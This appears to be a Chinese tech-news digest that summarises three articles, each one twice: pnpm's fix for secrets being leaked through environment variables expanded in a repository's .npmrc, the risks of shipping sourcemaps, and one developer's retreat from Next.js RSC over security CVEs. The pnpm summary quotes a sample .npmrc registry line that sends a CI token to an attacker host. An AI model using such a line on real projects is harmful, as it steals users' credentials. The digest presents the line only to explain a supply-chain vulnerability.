Now vibe coding, so learning hammer FE ?
《pnpm_不再在仓库的.npmrc_中展开环境变量》
标签：#NodeJS #pnpm #安全性 #npmrc #供应链安全
总结：
pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞：恶意仓库可通过在
文章要点：
1. 攻击原理很隐蔽：恶意仓库在
2. 修复边界很清晰：仓库内的
3. 迁移姿势很简单：用
4. 多 token 场景也有解：v11.7 新增了按 scope 区分认证 token 的能力，同一个 registry 不同组织可以用不同的
5. 虽然是 breaking change 但不得不修：这是有实际利用链的漏洞，等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中，所以 pnpm 选择在 patch 版本里直接修复
URL：https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc
标签：#NodeJS #pnpm #安全性 #npmrc #供应链安全
总结：
pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞：恶意仓库可通过在
.npmrc 中嵌入 ${ENV_VAR} 占位符，在 pnpm install 解析依赖时窃取用户环境变量中的敏感 token。现在 pnpm 对仓库控制的配置文件不再展开环境变量，凭证和 registry 设置必须移到你信任的位置（如用户级 ~/.npmrc、环境变量或 CLI 参数）。文章要点：
1. 攻击原理很隐蔽：恶意仓库在
.npmrc 里写 registry=https://attacker.example/${CI_JOB_TOKEN}/，你 pnpm install 时 pnpm 会自动把环境变量填进去，token 就直接发到攻击者服务器了，不需要任何 postinstall 脚本2. 修复边界很清晰：仓库内的
.npmrc 和 pnpm-workspace.yaml 里的 registry、认证相关字段不再展开 ${...}，但用户级配置、全局配置、命令行参数和环境变量配置仍然正常展开3. 迁移姿势很简单：用
pnpm config set 把 token 写到用户配置，或者直接用 pnpm_config_//registry... 环境变量传凭证，GitHub Actions 的 actions/setup-node 完全不受影响4. 多 token 场景也有解：v11.7 新增了按 scope 区分认证 token 的能力，同一个 registry 不同组织可以用不同的
_authToken，再也不用靠环境变量模板来切换了5. 虽然是 breaking change 但不得不修：这是有实际利用链的漏洞，等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中，所以 pnpm 选择在 patch 版本里直接修复
URL：https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc
pnpm.io
Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm
pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…
《关于SourceMap你需要知道的一切》
标签：#前端 #SourceMap #Vite #NextJS #Webpack #安全 #CI_CD
总结：SourceMap是前端开发中用于将压缩后的代码映射回原始代码的JSON文件，能极大提升调试体验。但文章重点警示了其安全隐患——默认配置下SourceMap会内联完整源代码，若不慎部署到生产环境，任何人都能通过浏览器或curl获取你的原始代码、目录结构甚至敏感信息。文章以Apple和Anthropic的泄露事件为例，详细说明了如何正确配置构建工具、设置服务器规则以及在CI/CD中自动化检测，防止源代码泄露。
文章要点：
1. SourceMap本质上是一个JSON文件，包含sources（原始文件路径）、names（原始变量名）、mappings（位置映射）和sourcesContent（完整源代码）四个关键字段，能将压缩后的代码精准还原
2. 构建流程通常是TypeScript编译→JS代码→压缩混淆，而SourceMap则反向执行这个流程，让浏览器DevTools能显示原始代码和变量名
3. 最大的安全风险在于sourcesContent默认会内联完整源代码，泄露后不仅暴露目录结构和模块名，还可能泄露API密钥、端点信息和未发布的功能开关
4. Apple在2025年11月因部署SourceMap到生产环境导致App Store前端源码泄露；Anthropic在2026年3月因npm包包含59.8MB的SourceMap文件，导致Claude Code核心代码被永久镜像传播
5. 防护措施包括：构建工具关闭生产环境SourceMap（Vite设sourcemap:false，NextJS设productionBrowserSourceMaps:false）、使用hidden模式仅上传错误追踪平台、服务器对.map请求返回404
6. 建议在CI/CD中添加自动化检查脚本，扫描输出目录中的.map文件，若包含sourcesContent则中断构建，从源头杜绝人为疏忽导致的泄露
URL：https://neciudan.dev/everything-you-need-to-know-about-sourcemaps
标签：#前端 #SourceMap #Vite #NextJS #Webpack #安全 #CI_CD
总结：SourceMap是前端开发中用于将压缩后的代码映射回原始代码的JSON文件，能极大提升调试体验。但文章重点警示了其安全隐患——默认配置下SourceMap会内联完整源代码，若不慎部署到生产环境，任何人都能通过浏览器或curl获取你的原始代码、目录结构甚至敏感信息。文章以Apple和Anthropic的泄露事件为例，详细说明了如何正确配置构建工具、设置服务器规则以及在CI/CD中自动化检测，防止源代码泄露。
文章要点：
1. SourceMap本质上是一个JSON文件，包含sources（原始文件路径）、names（原始变量名）、mappings（位置映射）和sourcesContent（完整源代码）四个关键字段，能将压缩后的代码精准还原
2. 构建流程通常是TypeScript编译→JS代码→压缩混淆，而SourceMap则反向执行这个流程，让浏览器DevTools能显示原始代码和变量名
3. 最大的安全风险在于sourcesContent默认会内联完整源代码，泄露后不仅暴露目录结构和模块名，还可能泄露API密钥、端点信息和未发布的功能开关
4. Apple在2025年11月因部署SourceMap到生产环境导致App Store前端源码泄露；Anthropic在2026年3月因npm包包含59.8MB的SourceMap文件，导致Claude Code核心代码被永久镜像传播
5. 防护措施包括：构建工具关闭生产环境SourceMap（Vite设sourcemap:false，NextJS设productionBrowserSourceMaps:false）、使用hidden模式仅上传错误追踪平台、服务器对.map请求返回404
6. 建议在CI/CD中添加自动化检查脚本，扫描输出目录中的.map文件，若包含sourcesContent则中断构建，从源头杜绝人为疏忽导致的泄露
URL：https://neciudan.dev/everything-you-need-to-know-about-sourcemaps
Neciu Dan
Everything you need to know about Sourcemaps
Sourcemaps unlock some observability benefits but might expose your codebase. Check out how they work, and how to protect yourself.
《为什么我放弃Next.js和RSC，回归传统SPA与独立后端》
标签：#前端 #Web开发 #React #NextJS #React_Server_Components #SPA #架构设计 #安全 #TanStack #Hono
总结：
作者回顾了自己从Next.js忠实用户到拥抱App Router/RSC，最终回归传统SPA+独立后端的完整历程。文章深入分析了RSC架构带来的心智负担、序列化开销和安全风险，结合2025-2026年多起严重CVE漏洞，论证了将渲染框架与安全边界解耦的必要性，并分享了当前基于React Router+Vite+Hono的简洁技术栈。
文章要点：
1. Next.js的黄金时代：Pages Router时期心智模型清晰，服务端/客户端边界一目了然，文件路由简单易懂，部署零成本
2. App Router带来的混乱：Server/Client Component区分成为负担，"use client"指令传染性强，开发/构建/生产环境缓存行为不一致，服务端客户端边界变得不可见
3. 安全漏洞敲响警钟：2025年CVE-2025-29927中间件绕过(CVSS 9.1)、2025年底RSC核心包10分满分漏洞CVE-2025-55182、2026年初多起Server Function DoS漏洞，攻击面集中在服务端渲染和反序列化环节
4. TanStack并非避风港：2026年5月TanStack遭遇供应链攻击，42个包被投毒，说明换框架不能免疫风险，减少依赖面才是关键
5. 序列化是根本原因：RSC的"无缝"本质是分布式系统的序列化问题，函数、类实例、错误栈都无法透明穿越边界，反序列化不可信输入成为高危攻击面
6. 当前架构选择：React Router框架模式+Vite纯SPA（仅营销页预渲染）+ Hono独立后端，API通过显式HTTP调用，无RSC负载，无服务端序列化
7. 安全设计原则：认证授权在API层强制执行，前端中间件只做UX跳转，CORS/CSRF/验证码/限流全部在可控的后端实现，与渲染框架彻底解耦
8. 核心收获：架构清晰可指认、无序列化税、前端攻击面趋近于零、后端语言自由选型、依赖更少爆炸半径更小——"无聊"在软件工程里是赞美
URL：https://dev.to/zulikram/why-i-walked-back-from-nextjs-and-rsc-to-a-plain-spa-and-a-separate-backend-4k8p
标签：#前端 #Web开发 #React #NextJS #React_Server_Components #SPA #架构设计 #安全 #TanStack #Hono
总结：
作者回顾了自己从Next.js忠实用户到拥抱App Router/RSC，最终回归传统SPA+独立后端的完整历程。文章深入分析了RSC架构带来的心智负担、序列化开销和安全风险，结合2025-2026年多起严重CVE漏洞，论证了将渲染框架与安全边界解耦的必要性，并分享了当前基于React Router+Vite+Hono的简洁技术栈。
文章要点：
1. Next.js的黄金时代：Pages Router时期心智模型清晰，服务端/客户端边界一目了然，文件路由简单易懂，部署零成本
2. App Router带来的混乱：Server/Client Component区分成为负担，"use client"指令传染性强，开发/构建/生产环境缓存行为不一致，服务端客户端边界变得不可见
3. 安全漏洞敲响警钟：2025年CVE-2025-29927中间件绕过(CVSS 9.1)、2025年底RSC核心包10分满分漏洞CVE-2025-55182、2026年初多起Server Function DoS漏洞，攻击面集中在服务端渲染和反序列化环节
4. TanStack并非避风港：2026年5月TanStack遭遇供应链攻击，42个包被投毒，说明换框架不能免疫风险，减少依赖面才是关键
5. 序列化是根本原因：RSC的"无缝"本质是分布式系统的序列化问题，函数、类实例、错误栈都无法透明穿越边界，反序列化不可信输入成为高危攻击面
6. 当前架构选择：React Router框架模式+Vite纯SPA（仅营销页预渲染）+ Hono独立后端，API通过显式HTTP调用，无RSC负载，无服务端序列化
7. 安全设计原则：认证授权在API层强制执行，前端中间件只做UX跳转，CORS/CSRF/验证码/限流全部在可控的后端实现，与渲染框架彻底解耦
8. 核心收获：架构清晰可指认、无序列化税、前端攻击面趋近于零、后端语言自由选型、依赖更少爆炸半径更小——"无聊"在软件工程里是赞美
URL：https://dev.to/zulikram/why-i-walked-back-from-nextjs-and-rsc-to-a-plain-spa-and-a-separate-backend-4k8p
